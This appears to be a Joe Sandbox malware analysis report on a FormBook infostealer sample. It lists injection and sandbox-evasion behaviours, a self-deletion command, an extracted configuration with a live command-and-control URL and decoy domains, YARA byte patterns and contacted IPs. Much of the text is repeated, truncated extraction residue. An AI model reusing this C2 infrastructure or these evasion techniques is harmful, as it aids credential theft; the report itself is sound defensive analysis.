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Windows Analysis Report PI L032452021xxls.exe

Overview

General Information

Sample 
Name:

PI L032452021xxls.exe

Analysis ID: 483590

MD5: 73c7fda15888b3b…

SHA1: 78b8467853dc5b…

SHA256: 69394a249833f97…

Tags: exe Formbook

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd deleteSelf deletion via cmd delete

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg

.NET source code contains very larg.NET source code contains very larg……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

PI L032452021xxls.exe (PID: 660 cmdline: 'C:\Users\user\Desktop\PI L032452021xxls.exe'  MD5: 73C7FDA15888B3B6CC025CE3D5F83161)

PI L032452021xxls.exe (PID: 6756 cmdline: C:\Users\user\Desktop\PI L032452021xxls.exe MD5: 73C7FDA15888B3B6CC025CE3D5F83161)

PI L032452021xxls.exe (PID: 6780 cmdline: C:\Users\user\Desktop\PI L032452021xxls.exe MD5: 73C7FDA15888B3B6CC025CE3D5F83161)

explorer.exe (PID: 3440 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

autoconv.exe (PID: 4456 cmdline: C:\Windows\SysWOW64\autoconv.exe MD5: 4506BE56787EDCD771A351C10B5AE3B7)

msdt.exe (PID: 5316 cmdline: C:\Windows\SysWOW64\msdt.exe MD5: 7F0C51DBA69B9DE5DDF6AA04CE3A69F4)

cmd.exe (PID: 5436 cmdline: /c del 'C:\Users\user\Desktop\PI L032452021xxls.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook

Copyright Joe Security LLC 2021 Page 4 of 25



{

  "C2 list": [

    "www.barry-associates.com/ergs/"

  ],

  "decoy": [

    "jardineriavilanova.com",

    "highkeyfashionboutique.com",

    "willingtobuyyourhouse.com",

    "ysfno.com",

    "bjkhjzzs.com",

    "hexmotif.com",

    "intentionalerror.com",

    "nuu-foundfreedom.com",

    "catalystspeechservices.com",

    "blackmybail.com",

    "xntaobaozhibo.com",

    "site-sozdat.online",

    "45quisisanadr.com",

    "ipawlove.com",

    "yifa5188.com",

    "admm.email",

    "houseoftealbh.com",

    "scale-biz.com",

    "vdvppt.club",

    "loveandlight.life",

    "529jpmorgan.com",

    "pupupe.com",

    "asantejaratmavi.com",

    "stereovisionstudio.com",

    "anhhoangnhatle.com",

    "robrowerealestate.com",

    "accessorthopaedics.com",

    "vanaform.com",

    "hataribeauty.com",

    "karnez.net",

    "meghanariana.com",

    "lawboutique30.com",

    "sailoame.com",

    "waystoearnmoneyontheside.com",

    "alkalides.com",

    "finqian.com",

    "ic-video-editing.co.uk",

    "vomartdesign.xyz",

    "xn--icknb7d2bb8tv280bco4a.com",

    "containerreefer.com",

    "maison-connect.com",

    "fbtowww.com",

    "phoenizoo.com",

    "bet365l6.com",

    "royalglossesbss.com",

    "justiceforashleymoore.com",

    "hupubets.com",

    "technomarkets.info",

    "ahhaads.com",

    "vvbeautystudio.com",

    "ddogo2o4r.online",

    "ameliefantaisie.com",

    "signupforhuntington.com",

    "antibodycovid19testkit.com",

    "kuznecova.center",

    "yuxingo.com",

    "heseasy.site",

    "wilmingtondollshow.com",

    "196197.com",

    "domineaconfeitaria.com",

    "veryzocn.com",

    "regenerativesouls.com",

    "llamshop.com",

    "miami-autoparts.com"

  ]

}

Source Rule Description Author Strings

00000006.00000002.476678595.0000000000CE
0000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps

Copyright Joe Security LLC 2021 Page 5 of 25



00000006.00000002.476678595.0000000000CE
0000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

00000006.00000002.476678595.0000000000CE
0000.00000040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18409:$sqlite3step: 68 34 1C 7B E1
0x1851c:$sqlite3step: 68 34 1C 7B E1
0x18438:$sqlite3text: 68 38 2A 90 C5
0x1855d:$sqlite3text: 68 38 2A 90 C5
0x1844b:$sqlite3blob: 68 53 D8 7F 8C
0x18573:$sqlite3blob: 68 53 D8 7F 8C

00000006.00000002.476370627.0000000000CB
0000.00000040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000006.00000002.476370627.0000000000CB
0000.00000040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 24 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

6.2.PI L032452021xxls.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.PI L032452021xxls.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

6.2.PI L032452021xxls.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17609:$sqlite3step: 68 34 1C 7B E1
0x1771c:$sqlite3step: 68 34 1C 7B E1
0x17638:$sqlite3text: 68 38 2A 90 C5
0x1775d:$sqlite3text: 68 38 2A 90 C5
0x1764b:$sqlite3blob: 68 53 D8 7F 8C
0x17773:$sqlite3blob: 68 53 D8 7F 8C

6.2.PI L032452021xxls.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.PI L032452021xxls.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 1 entries

Unpacked PEs

Copyright Joe Security LLC 2021 Page 6 of 25



Sigma Overview

System Summary:

Sigma detected: Possible Applocker Bypass

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Antivirus detection for URL or domain

Networking:

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

.NET source code contains very large strings

Data Obfuscation:

.NET source code contains potential unpacker

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Self deletion via cmd delete

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Copyright Joe Security LLC 2021 Page 7 of 25



Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 2 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Archive
Collected
Data 1 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 3 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Virtualization/Sandbox
Evasion 3 1

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 6 1 2

LSA
Secrets

System Information
Discovery 1 1 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or
Information 1 1

Cached
Domain
Credentials

System Owner/User
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Obfuscated Files or
Information 4

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Software
Packing 1 3

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) File Deletion 1 /etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols Rogue Cellular
Base Station

Behavior Graph
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Behavior Graph
ID: 483590

Sample: PI L032452021xxls.exe

Startdate: 15/09/2021

Architecture: WINDOWS

Score: 100

Found malware configuration
Malicious sample detected
(through community Yara

rule)

Antivirus detection
for URL or domain 9 other signatures

PI L032452021xxls.exe

3

        started       

C:\Users\user\...\PI L032452021xxls.exe.log, ASCII

dropped

Injects a PE file into
a foreign processes

PI L032452021xxls.exe

        started       

PI L032452021xxls.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

shops.myshopify.com

23.227.38.74, 49819, 80

CLOUDFLARENETUS

Canada

www.vdvppt.club

99.83.154.118, 49818, 80

AMAZON-02US

United States

www.karnez.net

System process connects
to network (likely due
to code injection or

exploit)

msdt.exe

        started       

autoconv.exe

        started       

Self deletion via cmd
delete

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

PI L032452021xxls.exe 21% Virustotal Browse

No Antivirus matches

Source Detection Scanner Label Link Download

6.2.PI L032452021xxls.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

Source Detection Scanner Label Link

shops.myshopify.com 1% Virustotal Browse

Source Detection Scanner Label Link

www.monotype.W 0% Avira URL Cloud safe

www.sajatypeworks.com. 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/file/69394a249833f97289151fa8334f32e0b0467ce4ecb164b0706784fb836136a6/detection/f-69394a249833f97289151fa8334f32e0b0467ce4ecb164b0706784fb836136a6-1631690859
https://www.virustotal.com/gui/url/62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957/detection/u-62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957-1631001971


www.jiyu-kobo.co.jp/er&=p 0% Avira URL Cloud safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.sajatypeworks.comt-i 0% Avira URL Cloud safe

www.galapagosdesign.com/staff/dennis.htmB 0% Avira URL Cloud safe

www.zhongyicts.com.cn5 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/-r~= 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/Webd 0% Avira URL Cloud safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.fontbureau.comIr 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/lr9=e 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/ers 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.jiyu-kobo.co.jp/roso 0% Avira URL Cloud safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.barry-associates.com/ergs/ 100% Avira URL Cloud malware

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.vdvppt.club/ergs/?
rt=jBPLMP3h1LcdC&J8uTkT=JWbjbWIzi5Xd8qR/4tQdqrKkFdlvhz2KwPZGVEcCMD5MfsK3CM+df9zTKL
P63o3kNg3XOCoErQ==

0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/lr9=e 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/Br 0% Avira URL Cloud safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.founder.com.cn/cna 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/-r~= 0% Avira URL Cloud safe

www.ascendercorp.com/typedesigners.html 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.sakkal.comc 0% Avira URL Cloud safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.jiyu-kobo.co.jp/aniewr 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp//nn~r/=e 0% Avira URL Cloud safe

www.galapagosdesign.com/ 0% URL Reputation safe

www.fontbureau.comF 0% URL Reputation safe

www.jiyu-kobo.co.jp/Ir 0% Avira URL Cloud safe

www.sajatypeworks.coms 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/0r 0% Avira URL Cloud safe

www.founder.com.c 0% URL Reputation safe

www.jiyu-kobo.co.jp/jp/Ir 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/Ian 0% URL Reputation safe

www.fontbureau.comessedIr 0% Avira URL Cloud safe

www.fontbureau.comessed?rl= 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htmjf 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/Sue 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.founder.com.cn/cnd. 0% Avira URL Cloud safe

www.founder.com.cn/cn 0% URL Reputation safe

www.fontbureau.comT.TTFlr9=e 0% Avira URL Cloud safe

www.founder.com.cn/cn- 0% URL Reputation safe

www.jiyu-kobo.co.jp/s 0% URL Reputation safe

www.jiyu-kobo.co.jp/&rg= 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.zhongyicts.com.cno. 0% URL Reputation safe

www.fontbureau.comalic 0% URL Reputation safe

www.karnez.net/ergs/?
J8uTkT=c9bkYQKJ+lNI6VVZ5eI1zueoz+82ajOViy0Ll3ZdIgo7PyasuomRPuIVCCVSa7haztcFmZ8CSw==
&rt=jBPLMP3h1LcdC

0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/b 0% URL Reputation safe

www.jiyu-kobo.co.jp/0r 0% Avira URL Cloud safe

www.jiyu-kobo.co.jp/a-d-r~= 0% Avira URL Cloud safe

Source Detection Scanner Label Link
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 483590

Start date: 15.09.2021

Start time: 09:38:44

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 12m 16s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: PI L032452021xxls.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

26

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@10/1@2/2

EGA Information: Failed

Name IP Active Malicious Antivirus Detection Reputation

www.vdvppt.club 99.83.154.118 true true unknown

shops.myshopify.com 23.227.38.74 true true 1%, Virustotal, Browse unknown

www.karnez.net unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.barry-associates.com/ergs/ true Avira URL Cloud: malware low

www.vdvppt.club/ergs/?
rt=jBPLMP3h1LcdC&J8uTkT=JWbjbWIzi5Xd8qR/4tQdqrKkFdlvhz2KwPZGVEcCMD5MfsK3C
M+df9zTKLP63o3kNg3XOCoErQ==

true Avira URL Cloud: safe unknown

www.karnez.net/ergs/?
J8uTkT=c9bkYQKJ+lNI6VVZ5eI1zueoz+82ajOViy0Ll3ZdIgo7PyasuomRPuIVCCVSa7haztcF
mZ8CSw==&rt=jBPLMP3h1LcdC

true Avira URL Cloud: safe unknown

IP Domain Country Flag ASN ASN Name Malicious

23.227.38.74 shops.myshopify.com Canada 13335 CLOUDFLARENETUS true

99.83.154.118 www.vdvppt.club United States 16509 AMAZON-02US true

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Copyright Joe Security LLC 2021 Page 12 of 25

https://www.virustotal.com/gui/url/62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957/detection/u-62cca4a636b6b49221d1337502cd3d9f66c2d2f5c5e705f6799ceecf66d93957-1631001971


HDC Information: Successful, ratio: 37.4% (good quality ratio 34.3%)
Quality average: 73.7%
